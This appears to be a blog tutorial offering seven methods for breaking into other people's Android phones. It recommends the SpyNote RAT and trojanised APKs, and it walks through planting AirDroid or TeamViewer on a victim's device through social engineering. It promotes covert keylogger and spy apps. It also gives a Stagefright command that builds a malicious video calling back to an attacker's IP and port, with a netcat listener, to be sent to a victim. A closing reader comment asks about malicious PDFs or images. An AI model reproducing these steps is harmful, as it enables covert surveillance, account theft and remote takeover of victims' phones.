How to Hack Android Phones – 7 ways
Do you want to know how hackers hack android phones..?? Are you tired of seeing all those fake scam sites and phony youtube videos? Then congratulations, you have come to the right place. Today we will teach you not one or two ways, But a total of 7 ways to hack an android phone like using spy note, msfvenom, Metasploit, and other top spy apps
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Hacking Android Phones
What is android Hacking…???
Android Hacking is done one of the two following ways.
- Install malware or a trojan in the victim’s phone and control it remotely via your device.
- Create a shell terminal with admin access in the victim’s phone by using an exploit.
The following hacks vary in their implementation but the core ideas remain the same. If you have any queries ask them in the comment section.
Spynote is a remote administration tool (RAT for short) with which you can hack any android device and make custom trojans and keyloggers. You can also make trojans and viruses from existing apk files. You can download any apk from the internet and hide your virus inside the apk.
This is why this remote administration tool is one of the best hacking tools for hacking android.
Read how to hack android phones with spynote
With this app you can now access the victim’s camera, files call logs msgs and even WhatsApp messages and much more by only using spynote application.
Must read: How to hack WhatsApp accounts
2) METASPLOIT AND MSFVENOM
When it comes to hacking Android phones, there is no better tool than Metasploit and msfvenom. These tools are essentially frameworks for hacking android devices.
For performing this hack using Metasploit or msfvenom, you’ll need Kali Linux OS installed in your computer and Android Phone as a target.
Read more about hacking android with Metasploit and msfvenom.
With the help of following commands, you can hack the victim’s messages files as well as android cameras.
So, this is how easily hackers hack using Metasploit and msfvenom.
3) Remote controlling apps:
There are many apps available on the internet which allow you to control your android device remotely. By using these apps you can easily hack andy android devices.
Step 1. Sign up for an airdroid account from the website to hack an android phone.
Step 2. Use social engineering, and get access to the victim`s phone, install the airdoid app into it, and enter your sign-in code to set up the app and airdoid interface.
Step 3. Go to the airdroid dashboard you will the details of the phone you have hacked.
Step 1. Sign up for a team viewer account from the website.
Step 2. Use social engineering, and get access to the victim`s phone, install the TeamViewer app into it, and enter your sign-in to set up the app.
Step 3. Go to the Teamviewer dashboard you will the details of the phone you have hacked.
4) Spy apps
Spy apps are malicious apk files which when installed on the victims android device compromise the system and allows the hacker to gain access to the device remotely.
There are many companies that make these types of Softwares for tracking and monitoring which are essentially spy apps.
We reviewed the spy tool called hoverwatch which has a free trial. You can read about our review here: Hoverwatch free review
If you want to make your very own spy app without paying anyone. Then please make sure you read: Making custom spy apps with msf venom
Keyloggers are software that records everything(all your keystrokes) that are typed on the keyboard. By using this software we can easily get access to any account as long the victim signs into his/her account when the keylogger is active.
Some examples of keyloggers are shown below:
Kikde iOWL secretly analyzes data over the phones without to hack an android phone. It analyzes the data of your loved ones, children or staff members, spy on text messages, MMS, Whatsapp, Facebook, Viber, internet activity, calendar, contacts, and lots of typed Keystrokes. The Kikde iOWL spy app features are parental monitoring, employee monitoring, real-time spying, and 24/7 customer support.
Step 1: Download and install the app.
Step 2: Activate and set the keylogger to active status.
Shadow- Kid’s key logger
Shadow is an Android application available on Google Play Store, which is specially designed for the parents. It will record every key event which has been triggered during its usage, such as applications used, time spent on each application, key activities, etc. There is also a short guide which will help you to understand how to use it.
Step 1: Download and install the app from the play store.
Step 2: Activate and set the keylogger to active status.
The android interface once installed looks like this:
6) Stagefright Exploit
This is a major android vulnerability in older devices which can be used to hack android devices.
Check out this article to know how hackers can hack android devices with stagefright exploit.
An alternate method is manually do everything and initiate the attack as shown below:
Step 1: Boot up your Kali Linux.
Step 2: Download the python script from this link and rename the downloaded file as mp4.py
Step 3: Run the following command:-
Syntax: “python ‘address of script’ -c your local ip -p any open port -o filename of the video.”
eg: python ‘/root/Desktop/mp4.py’ -c 192.168.1.8 -p 4364 -o hello
Step 4: Then send this file to your victim by using your social engineering skills.
Step 5: After victim trapped in attack then site listing port by using this command “netcat -l -p port which used while creating your attack video.”
This attack works only on limited android phones with outdated stock browsers.
7)Using ADB (Android Debug Bridge)
Adb stands for android debug bridge. It is essentially a developer software for testing and developing android. But due to the numerous security flaws and weak configurations its is very easy to hack an android device with adb running.
I have written an in-depth article on hacking with adb. You can refer this article to hack android with adb.
Hacking android devices on the internet with adb
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Hack a mobile phones
Sir, I asked this question at many forums but never got satisfying answer. Is there any way we can hack a unrooted android device using some other formats apart from apk files?? Like by creating malicious pdf or image??